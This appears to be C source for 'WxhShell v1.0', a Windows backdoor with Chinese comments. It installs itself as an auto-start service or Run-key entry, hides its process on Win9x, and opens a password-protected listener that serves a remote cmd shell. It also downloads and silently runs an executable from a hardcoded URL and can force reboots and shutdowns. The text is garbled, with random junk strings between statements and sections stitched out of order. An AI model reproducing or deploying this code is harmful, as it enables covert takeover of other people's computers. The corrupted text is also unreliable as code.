)k] !u g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); V3~a!k NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u+'@>%7 -L3
|9k
if (!NtQueryInformationProcess) return 0; pXj/6+^ Q*&aC|b& hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I+j|'=M if(!hProcess) return 0; 7a]Zws V -4*nV if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pMZf!&tM CSqb)\8Oi* CloseHandle(hProcess); q
'{<c3& /0&:Yp=> hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);
)P9{47 if(hProcess==NULL) return 0; {G1aAM\Hz 1o~U+s_r HMODULE hMod; LO} :Ub char procName[255]; '[yqi1
& unsigned long cbNeeded; mImbS)V ecqz@*d& if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HZ<f( ~muIi#4 CloseHandle(hProcess); g6/N\[b% vWi.[] if(strstr(procName,"services")) return 1; // 以服务启动 Z0 IxYEp 8xpYQ<cax return 0; // 注册表启动 ,{ L;B } f'`nx;@X Re,$<9V // 主模块 s!;VUr\ int StartWxhshell(LPSTR lpCmdLine) wH_n$w { iraRB~ SOCKET wsl; -=t3O# BOOL val=TRUE; 1QF*e' int port=0; .m]=JC5' struct sockaddr_in door; m`\i+ PVS<QN% if(wscfg.ws_autoins) Install(); )4L%zl7 V3A>Ag+^~ port=atoi(lpCmdLine); *v
nxP9< Rp`_Grcd if(port<=0) port=wscfg.ws_port; +`s&i%{1> h6T/0YhWLP WSADATA data; ['OCw {< if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1S[5#ewB;j ^'u;e(AaE
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; t3#H@0< setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F2PLy
q door.sin_family = AF_INET; tC@zM.v% door.sin_addr.s_addr = inet_addr("127.0.0.1"); mQ^@ \s door.sin_port = htons(port); Ad`[Rt']kI B`?N0t%X if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { VmOFX:j!, closesocket(wsl); Msa6yD# return 1; #?$'nya*u } X#kjt)W I~]Q55 if(listen(wsl,2) == INVALID_SOCKET) { (XG[_ closesocket(wsl); IzGB return 1; R<lNk< } ]zvVY:v Wxhshell(wsl); +>!B(j\gx WSACleanup(); 5e/qgI)M5 C>:/(O return 0; T$8@2[ ZH;y>Z } kToVBU$ @`kiEg'Q // 以NT服务方式启动 d(DX(xg VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :<t{ =0G { 8G5)o` DWORD status = 0; Nr]8P/[~ DWORD specificError = 0xfffffff; )pZekh]v te\h?H serviceStatus.dwServiceType = SERVICE_WIN32; .?i-rTF: serviceStatus.dwCurrentState = SERVICE_START_PENDING; C'8!cPFVv serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; EOBs}M; serviceStatus.dwWin32ExitCode = 0; jI{~s]Q serviceStatus.dwServiceSpecificExitCode = 0; /[20e1 w! serviceStatus.dwCheckPoint = 0; &weY8\HD serviceStatus.dwWaitHint = 0; (
*9Ip M)`HK
. hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U7]<U-.& if (hServiceStatusHandle==0) return; }dd k}wga sk7rU+< status = GetLastError(); uK;K{ if (status!=NO_ERROR) $@_<$t { G+hF
[b44' serviceStatus.dwCurrentState = SERVICE_STOPPED; Q_QKm0! serviceStatus.dwCheckPoint = 0; iBKb/Oi6 serviceStatus.dwWaitHint = 0; 0E?s>-b serviceStatus.dwWin32ExitCode = status; 62MRI serviceStatus.dwServiceSpecificExitCode = specificError; @QVqpE<| SetServiceStatus(hServiceStatusHandle, &serviceStatus); oTF^<I-C return; _^6|^PT. } @3-,=x a)_rka1( serviceStatus.dwCurrentState = SERVICE_RUNNING; uEScAeQXsI serviceStatus.dwCheckPoint = 0; 'nlRY5@2 serviceStatus.dwWaitHint = 0; 7>'uj7r]= if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e' U"`)S } " xDx/d8B UK"}}nO@e // 处理NT服务事件,比如:启动、停止 ':!3jZP"m VOID WINAPI NTServiceHandler(DWORD fdwControl) yV J dZ I { G%7 4v|cd switch(fdwControl) S(>@:`= { n%0]V Xx# case SERVICE_CONTROL_STOP: 2/v35| ? serviceStatus.dwWin32ExitCode = 0; 6 Iv( serviceStatus.dwCurrentState = SERVICE_STOPPED; 2ec$xms serviceStatus.dwCheckPoint = 0; t_I\P.aMA serviceStatus.dwWaitHint = 0; 1jH7<%y { poXLy/K SetServiceStatus(hServiceStatusHandle, &serviceStatus); @%EE0)IA } XOysgX0g return; gf68iR.Gs case SERVICE_CONTROL_PAUSE: HDF!` serviceStatus.dwCurrentState = SERVICE_PAUSED; o%Be0~n' break; AezvBY0'`z case SERVICE_CONTROL_CONTINUE: ~|CJsD/ serviceStatus.dwCurrentState = SERVICE_RUNNING; F-BJe] break; N+CXOI=6x case SERVICE_CONTROL_INTERROGATE: &jV9* break; ?~"`^|d
}; ^w:OS5 %R SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0W T#6D } *M>
iZO*@ c Ndw9?Z // 标准应用程序主函数 .7
(DxN int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V&Xi> X8 { y4xT:G/M E /fw?7eQ // 获取操作系统版本 DR
k]{^C~ OsIsNt=GetOsVer(); -A/ds1=; GetModuleFileName(NULL,ExeFile,MAX_PATH); K<@[_W+ NXzU0 // 从命令行安装 @gt)P4yE if(strpbrk(lpCmdLine,"iI")) Install(); \8;Qv *:=];1O // 下载执行文件 UGhW0X3k if(wscfg.ws_downexe) { (;;J,*NP if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8{R_6BS WinExec(wscfg.ws_filenam,SW_HIDE); ! jbEm8bt } _Kc1 ss?] if(!OsIsNt) { m"lE&AM64p // 如果时win9x,隐藏进程并且设置为注册表启动 UF@IBb}0 HideProc(); #*!+b StartWxhshell(lpCmdLine); (Ij0AeJ# } ![^EsgEB* else z 0~j if(StartFromService()) x}tKewdOSe // 以服务方式启动 <jbj/Q )" StartServiceCtrlDispatcher(DispatchTable); Wgxn`6 else / Zo~1q // 普通方式启动 P3'2IzNw StartWxhshell(lpCmdLine); W8f`J2^"M BJ~ivT< return 0; {5T0RL{\N } 9*#$0Y= G1}~.%J 1#grB(p? x!'7yx =========================================== hVMYB_<~ X?tj$ o_iEkn pG/
NuImA ]]>nbgGn# H76E+AY " }<vvxi Vy]A,Rn7 #include <stdio.h> 2
9q?$V( #include <string.h> +0VG[c\8 #include <windows.h> A#<vG1 #include <winsock2.h> S8\+XJ #include <winsvc.h> aK]7vp+ #include <urlmon.h> E@:Q 'g% TbOJp #pragma comment (lib, "Ws2_32.lib") zQ ,f5x #pragma comment (lib, "urlmon.lib") 2=>*O e#tIk;9Xz #define MAX_USER 100 // 最大客户端连接数 nz^nptw #define BUF_SOCK 200 // sock buffer XJe/tR #define KEY_BUFF 255 // 输入 buffer E]NY
(1 GGH;Z WSe #define REBOOT 0 // 重启 #C4|@7w% #define SHUTDOWN 1 // 关机 :]'q#$! d!o.ASL{ #define DEF_PORT 5000 // 监听端口 t) LU\! Q/p(#/y#b #define REG_LEN 16 // 注册表键长度 IWQ&6SDW$z #define SVC_LEN 80 // NT服务名长度 Bb~5& @M|N cn$5:%IK // 从dll定义API ji}#MBac typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ASR-a't6 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wTTRoeJ} typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); djUihcqA` typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lqF>=15 ~L~]QN\3 // wxhshell配置信息 u=%y struct WSCFG { v{o? #Sk1 int ws_port; // 监听端口 g^jJ8k,7( char ws_passstr[REG_LEN]; // 口令 ~]&B>q int ws_autoins; // 安装标记, 1=yes 0=no dsV ~|D6: char ws_regname[REG_LEN]; // 注册表键名 7R: WX: char ws_svcname[REG_LEN]; // 服务名 ozU2 char ws_svcdisp[SVC_LEN]; // 服务显示名 /J;;|X#P char ws_svcdesc[SVC_LEN]; // 服务描述信息 {B3(HiC char ws_passmsg[SVC_LEN]; // 密码输入提示信息 H"_v+N5= int ws_downexe; // 下载执行标记, 1=yes 0=no HL@TcfOe~ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~x'zX-@rC char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qYiv +$PFHXB }; Mq@}snp"S ?1CJf>B > // default Wxhshell configuration (v!mR+\x struct WSCFG wscfg={DEF_PORT, 0 sZwdO "xuhuanlingzhe", |) O): 1, %l,4=TQ[m "Wxhshell", bhYU5I 9 "Wxhshell", ha5e(Hj? "WxhShell Service", glx2I_y "Wrsky Windows CmdShell Service", ]oEQ4 "Please Input Your Password: ", AuAT]` 1, B%fU' "http://www.wrsky.com/wxhshell.exe", k52QaMKa~A "Wxhshell.exe" /l^y}o %? }; usy,V"{ UeA2c_
5 // 消息定义模块 IP04l;p/ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I0iY+@^5 char *msg_ws_prompt="\n\r? for help\n\r#>"; ,ijW(95{k char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ir/:d]N* char *msg_ws_ext="\n\rExit."; \#++s&06 char *msg_ws_end="\n\rQuit."; 3w6&&R9 char *msg_ws_boot="\n\rReboot..."; (xL
:; char *msg_ws_poff="\n\rShutdown..."; +#~O'r]%GG char *msg_ws_down="\n\rSave to "; dMJ!>l>2 RyuEHpN} char *msg_ws_err="\n\rErr!"; eQ<xp A char *msg_ws_ok="\n\rOK!"; M6_-f ;. r{S=Z~J char ExeFile[MAX_PATH]; 4:U0f;Fs int nUser = 0; dKm`14f]@G HANDLE handles[MAX_USER]; Jn*Nao_) int OsIsNt; 9:-T@u 0R|K0XH#$ SERVICE_STATUS serviceStatus; Rboof`pVt SERVICE_STATUS_HANDLE hServiceStatusHandle; $T),DUYO p.C1 nh // 函数声明 E_3r[1l int Install(void); &hI>L int Uninstall(void); 333u] int DownloadFile(char *sURL, SOCKET wsh); UfKkgq# int Boot(int flag); =&2$/YX0D void HideProc(void); ;g9% & int GetOsVer(void); MtUY?O.P2 int Wxhshell(SOCKET wsl); n+?- void TalkWithClient(void *cs); :_Fxy5} int CmdShell(SOCKET sock); Hd0Xx}3& int StartFromService(void); IBET'!j4" int StartWxhshell(LPSTR lpCmdLine); ufPCx|x~ H* /&A9(" VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ({e7U17[# VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2:'lZQ (@q3^)I4 // 数据结构和表定义 )[jy[[K( SERVICE_TABLE_ENTRY DispatchTable[] = g/#~N~& { +9zA^0 {wscfg.ws_svcname, NTServiceMain}, ~KRnr0 {NULL, NULL} q5p e~ }; ,dcg?48 eu9w|g // 自我安装 X`1p'JD int Install(void) t#5:\U5r. { *H"aOT^{ char svExeFile[MAX_PATH]; y9!:^kDI HKEY key; M"(6&M=? strcpy(svExeFile,ExeFile); sJ~P:g _2OuskL // 如果是win9x系统,修改注册表设为自启动 -!TcQzHUs if(!OsIsNt) { D0 ruTS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TsD;Kl1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v459},!P RegCloseKey(key); @.ZL7$|d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { io2@}xZF RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oy5+}` RegCloseKey(key); L/x(RCD return 0; Cs4hgb| } h0Jl_f#Y } }9CrFTbx; } iyj3QLqE else { r6t&E%b nY0sb8lZJ // 如果是NT以上系统,安装为系统服务 hVUIBJ/5(- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); azX`oU,l if (schSCManager!=0) )%VCzye*{ { GV8)Kor% SC_HANDLE schService = CreateService kA^A mfba ( a,n93-m(m schSCManager, j Nc<~{/ wscfg.ws_svcname, GNU;jSh5 wscfg.ws_svcdisp, s;1e0n SERVICE_ALL_ACCESS, z0Xa_w= SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , m*oc)x7' SERVICE_AUTO_START, rzu
s SERVICE_ERROR_NORMAL, G),db%,X2 svExeFile, 9m8ee&, NULL, tU:FX[&?R NULL, Qq3fZ= NULL, `6F+Rrn NULL, w$>3pQ8d NULL
jBpVxv ); 3cC }'j if (schService!=0) 1[DS'S { 0S.?E.-&0 CloseServiceHandle(schService); "={L+di:M CloseServiceHandle(schSCManager); v!trsjb strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pjN:Y] strcat(svExeFile,wscfg.ws_svcname); ]l[2hy=
cV if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "EH,J RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Df@/cT RegCloseKey(key); S$O,] @) return 0; 2EfflZL3 } "HC)/)Mv@ } c7qwNs*f CloseServiceHandle(schSCManager); [H,u)8) } !8$RBD % } }q'WC4. GuO`jz F return 1; f1Zt?= } yd>}wHt ?/d!R]3 // 自我卸载 wL2XNdo}< int Uninstall(void) D1Yh,P<CF\ { ``9 GY HKEY key; Q4wc-s4RN q#vlBL if(!OsIsNt) { ,%hj cGX11 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w^o}E)O RegDeleteValue(key,wscfg.ws_regname); :3?|VE F RegCloseKey(key); ~ E *d G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z+3 9ee RegDeleteValue(key,wscfg.ws_regname); R2LK.bTVn RegCloseKey(key); |4Ha?W return 0; C4NRDwU|. } If'2rE7J } n93zD*;5 } 6[?}6gQ else { sX:lE^)-z XnXb&@Y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !Iq{ 5: if (schSCManager!=0) &1GUi{I { |(ocDmd SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z;b+>2oL if (schService!=0) A}G|Yfn { E*|tOj9`1n if(DeleteService(schService)!=0) { -_~)f{KN@ CloseServiceHandle(schService); jTSOnF}C~+ CloseServiceHandle(schSCManager); l2&hBacT return 0; &qRJceT( } ~m`!;rE CloseServiceHandle(schService); V8"Wpl9Cz } 0YS?=oi CloseServiceHandle(schSCManager); QIV%6q+*R } h^M^7S } %^.P~s6 K{b-TT
4 return 1; @G GccF } 2c:f<>r0y j>'B[ // 从指定url下载文件 l4ouZR int DownloadFile(char *sURL, SOCKET wsh) 2P5_zND { eb!_ie"D HRESULT hr; ^l !L)iw char seps[]= "/"; CV^c",b_ char *token; `="v>qN2\ char *file; 7GZq|M_:y char myURL[MAX_PATH]; Z2p> n`D char myFILE[MAX_PATH]; +t]Xj1Q 3s(Ia^ strcpy(myURL,sURL); v8@eW.I1 token=strtok(myURL,seps); @Fx@5e while(token!=NULL) FA$zZs10\ { EOVZGZF file=token; b3U6;]|x token=strtok(NULL,seps); X\sm[_I } V(mnyI +Me2U9 GetCurrentDirectory(MAX_PATH,myFILE); (@&I_>2Q strcat(myFILE, "\\"); $']VQ4tZ strcat(myFILE, file); 40K2uT{cq send(wsh,myFILE,strlen(myFILE),0); <NB41/ send(wsh,"...",3,0); (0jr;jv hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #":a6%0Q if(hr==S_OK) JJf<*j^G return 0; L11L23: else UK3a{O[5 return 1; `WlE|
G[ /f3m)pT } #`/QOTnm2c `Q%NSU? // 系统电源模块 |E|6=%^ int Boot(int flag) SS8ocGX { 3"rkko?A HANDLE hToken; Lk.h.ST TOKEN_PRIVILEGES tkp; p&3>
`C xP@/9SM if(OsIsNt) { f a5]a OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); cY{Nos LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); DO^y;y> tkp.PrivilegeCount = 1; >q(6,Mmb tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xm^95}80yh AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h%1Y6$ if(flag==REBOOT) {
+ld;k/ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;KcFy@ 6q5 return 0; ?`P2'i<b } F6dr else { gdi`x|0 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yQ[u3tI return 0; w0Ij'=: } Y@} FL;3 } D4Sh9:\ else { uva\0q if(flag==REBOOT) { E`)Qs[?Gk if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dlD}Ub return 0; :p-Y7CSSu } iJP{|-h else { Z"tQpJg if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qrDcL>Hrn return 0; T[2}p=<% } 3j*'HST } 8:{q8xZ=k tWk{1IL return 1; zM59UQU; } abWl ut ,-
HIFbXx@ // win9x进程隐藏模块 (I=6Nnt' void HideProc(void) `-O=>U5nH { MsjnRX:c3u #&siHHs \ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zilaP)5x6 if ( hKernel != NULL ) 4}-#mBV]/ { og-]tEWA1 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -1W ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yXF|Sqv FreeLibrary(hKernel); o#e7,O } B>|5xpZM12 <]Y[XI(kr return; z5EVG } [hU=mS8=^ &=zU611, // 获取操作系统版本 :]c=pH int GetOsVer(void) mo9$NGM&} { q^Inb)FeN OSVERSIONINFO winfo; <SQ(~xYi winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =|0/Ynfe GetVersionEx(&winfo); @^CG[:| if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fn1pa@P return 1; 3; y_mg else p
>aw return 0; $l"MXxx5I } F5IZ"Itu( S=O$JP79 // 客户端句柄模块 z!CD6W1n int Wxhshell(SOCKET wsl) J @B4
R&V { ) `I=oB SOCKET wsh; m!Af LSlwm struct sockaddr_in client; -+P7:4/ DWORD myID; |nm2Uy/0 DV,DB\P$ while(nUser<MAX_USER) ('d{t:TsY { gj;@?o0 int nSize=sizeof(client); {!t=n wsh=accept(wsl,(struct sockaddr *)&client,&nSize); la702)N{ if(wsh==INVALID_SOCKET) return 1; & rQD `E/ XnA6/^ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \HG$V>2 if(handles[nUser]==0) CJA+v- closesocket(wsh); ;]@exp5 else 8uA<G/Q; nUser++; +2y&B,L_Wh } (H-cDsh;c WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); kaO{#i2- qUg9$oh{LI return 0; !x_t`78T } y.ql#eQ, ' =}pxyg // 关闭 socket Hf_'32e3< void CloseIt(SOCKET wsh) ucM.Ro=@ { ~oFh>9u closesocket(wsh); eP?~-# nUser--; %`oHemSy ExitThread(0); 0BDoBR } cz>mhD J{!'f|
J // 客户端请求句柄 |hD~6a void TalkWithClient(void *cs) cIZ[[(Db { ]b)!YPo EW9b*r7./ SOCKET wsh=(SOCKET)cs; g? I!OG char pwd[SVC_LEN]; ?OO%5PSe n char cmd[KEY_BUFF]; ^Po,(iIn char chr[1]; )-#i8?y3C int i,j; `:gYXeR yU!GS- while (nUser < MAX_USER) { {\Ys@FF @E(P9zQ/zy if(wscfg.ws_passstr) { V" }*"P-% if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6lZGcRO //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S;h&5.p //ZeroMemory(pwd,KEY_BUFF); x97H(* i=0; wo]ks}9 while(i<SVC_LEN) { oX*b<d{\N Y2D>tpqNw // 设置超时 [%?hCc fd_set FdRead; sL8>GtVo struct timeval TimeOut; GVZTDrC FD_ZERO(&FdRead); "?[7#d]) FD_SET(wsh,&FdRead); -U:2H7 TimeOut.tv_sec=8; `/c@nxh TimeOut.tv_usec=0; I3An57YV]. int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d QDLI if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >qn+iI2U R Y9.n if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Z:TFOnJ pwd=chr[0]; S[^nSF if(chr[0]==0xd || chr[0]==0xa) { zQt1;bo pwd=0; u`+'lBE, break; v!KJ|c@m } }Q;BQ2[ i++; G}q<{<+$ } FXxN>\76. c l9$g7 // 如果是非法用户,关闭 socket PMY~^S4O if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jVs(x
} X]MTaD.t FF jRf send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p $XnOh send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Qqh^E_O k1m'Ka- while(1) { ^} tuP s*eyTm ZeroMemory(cmd,KEY_BUFF); }9
?y'6l ]An_5J
// 自动支持客户端 telnet标准 xjE7DCmA j=0; _V&x`ks while(j<KEY_BUFF) { *cPN\Iu.W if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yduuFK cmd[j]=chr[0]; wZ
O@J| if(chr[0]==0xa || chr[0]==0xd) { ^t7_3%%w cmd[j]=0; zNwc(( break; ,k\/]9 } t)KPp|& j++; ,,7.=# } >I|<^$/ 88#N~j~P // 下载文件 B9AbKK$` if(strstr(cmd,"http://")) { SbCJ|z#? send(wsh,msg_ws_down,strlen(msg_ws_down),0); -GFwFkWm if(DownloadFile(cmd,wsh)) y=wdR|b send(wsh,msg_ws_err,strlen(msg_ws_err),0); E~}[+X@ else y%JF8R;n send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m+p4Mc%u } k~& o else { waBRQh @\+%GDv switch(cmd[0]) { ";o~&8?) 3|jn,?K)N // 帮助 s
*K:IgJ/ case '?': { MV9r5 |3- send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Kjv2J;Xuh break; [@x } t&38@p // 安装 $4sAnu] case 'i': { 80 dSQ"y if(Install()) tD865gi send(wsh,msg_ws_err,strlen(msg_ws_err),0); N=.}h\{0 else `..EQBM send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z_'dRw break; \G]K,TG } bKTqX[ = // 卸载 S io1Q0 case 'r': { ykJ+%gla if(Uninstall()) zI(xSX@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5[1@`6j else ixg\[5.Q+ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n<=y"* break; x, }ez } w' .'Yu6 // 显示 wxhshell 所在路径 y(V&z"wk[ case 'p': { B$@1QG char svExeFile[MAX_PATH]; .v N)A
* strcpy(svExeFile,"\n\r"); uQO(?nCi strcat(svExeFile,ExeFile); RzMA\r;# send(wsh,svExeFile,strlen(svExeFile),0); X #&(~1O break; w 7Cne%J8 } >xklt"*U, // 重启 suzFcLxo case 'b': { =CWc` send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bN]\K/ if(Boot(REBOOT)) O}e|P~W send(wsh,msg_ws_err,strlen(msg_ws_err),0); (\T8!s{AO else { @T9m}+fR closesocket(wsh); A{G5Plrh ExitThread(0); &~z+ R="= } tX+0 GLz break; Q S5dP } P)a("XnJ` // 关机 E {I)LdAqK case 'd': { D1oaG0 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); od;Bb if(Boot(SHUTDOWN)) d&O'r[S send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5`(((_Um+ else { Uf=vs( closesocket(wsh); 3| GNi~ ExitThread(0); ,w,ENU0~f } [c,|Lw4 break; xhw8# } cdd P
T // 获取shell 38Bnf case 's': { 5cPSv?x^F@ CmdShell(wsh); 0f_66` closesocket(wsh); p7%0hLW ExitThread(0); nh _DEPMq break; Ry3+/] } :!r9 =N9 // 退出 7qCJ]%)b6 case 'x': { !#}v:~[A send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); AsTMY02| CloseIt(wsh); 53g8T+`\( break;
e-L5=B } 67Af} >Q // 离开 )->-~E}p9 case 'q': { j<`I\Pmv send(wsh,msg_ws_end,strlen(msg_ws_end),0); )$2%&9b closesocket(wsh); 2hjre3"? WSACleanup(); (OM?aW exit(1); [Q2S3szbt6 break; L,s|gtv } QO1A976o } 6i*ArGA
} F'$9en2I: r[C3u[ // 提示信息 X67C;H+ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _ Yb
Eo+ } #u}v7{4 } .0R/'!e 9,Crmbw8 return; @lb=-oR!~ } pgLzFY[' >S?C {_g // shell模块句柄 PCV58n3 int CmdShell(SOCKET sock) 8GF[)z&|P: { -s?dzX STARTUPINFO si; >/*?4 ZeroMemory(&si,sizeof(si)); CSd9\V si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~:P8g<w
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Pj1K PROCESS_INFORMATION ProcessInfo; =]5DYRhX] char cmdline[]="cmd"; y]~+ `9 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |!jYv'% return 0; w@gl } *@$($<pY& #z-iL!? // 自身启动模式 V7KtbL# int StartFromService(void) ($[r>)TG { AAlmG9l&7 typedef struct ~PU1vbv9T { h%CEb< DWORD ExitStatus; Knw'h;,[ DWORD PebBaseAddress; _D7HQ DWORD AffinityMask; H3UX{|[ DWORD BasePriority; e4>L@7 ULONG UniqueProcessId; IGF37';; ULONG InheritedFromUniqueProcessId; xVh\GU855 } PROCESS_BASIC_INFORMATION; Cn6n4, 0 rw=UK` PROCNTQSIP NtQueryInformationProcess; 6N)<
o ;U %>I?'y^ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c'TiWZP~ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y*5@|Q M&}oat* HANDLE hProcess; _Vk,& |